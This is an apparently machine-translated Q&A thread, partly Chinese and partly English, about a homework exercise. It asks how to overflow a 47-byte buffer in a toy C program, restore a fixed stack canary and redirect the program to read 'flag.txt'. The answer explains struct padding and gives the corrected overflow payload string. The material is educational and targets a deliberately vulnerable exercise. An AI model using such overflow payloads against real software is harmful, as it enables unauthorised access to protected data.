利用具有金丝雀保护的缓冲区溢出

Exploit a buffer overflow with canary protection

我正在尝试利用这个简单的程序来做作业:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFSIZE 1024

typedef struct {
    char flag_content[BUFSIZE];
    char guess[47];
    unsigned canary;
    char flag_file[BUFSIZE];
} st_t;

int main(){
    FILE *f = NULL;
    st_t st = {
        .flag_file = "fake_flag",
        .canary = 0x4249b876
    };

    printf("Guess the flag!\n");
    scanf("%s", st.guess);

    f = fopen(st.flag_file, "rb");
    if (f == NULL){
        printf("flag error\n");
        exit(-1);
    }

    if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
        printf("flag error\n");
        exit(-1);
    }

    if (st.canary != 0x4249b876) {
        printf("canary error\n");
        exit(-1);
    }

    if (!strcmp(st.guess, st.flag_content)){
        printf("You guessed it right!\n");
    } else {
        printf("Sorry but the flag is \"%s\"\n", st.flag_content);
    }
    exit(1);
}

目的是修改 st.flag_file 插入 "flag.txt" 而不是 "fake_flag.txt" 以读取其内容。

很容易发现有缓冲区溢出,但也有金丝雀,所以我把这个exploit写成scanf:

的输入
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt

网上查到十六进制的0x4249b876翻译成v¸IB 但是当我 运行 来自终端的代码时,这是输出

./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error

并用 gdb 进行检查,我发现变量 st.flag_file = "flag.txt" 是正确的,但变量 st.canary = 0x4249b8c2

我看不懂。为什么?

您遇到的问题来自 struct 的对齐要求。特别是,在 guesscanary 之间有编译器插入的额外填充。尝试转储整个结构 and/or 成员的地址,您将看到填充。

最终结果是您将需要超过 47 个字节 (A) 才能达到 canary,通常需要多一个字节。所以而不是,例如:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

您将需要:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

还要注意,转义 canary 的字符可能是个好主意(以避免编码等问题)并使其更具可读性(与实际的 canary 进行比较)。

题外话 注意:

fread(st.flag_content, BUFSIZE, 1, f) < 0

始终为假,因为 fread returns a size_t(无符号)。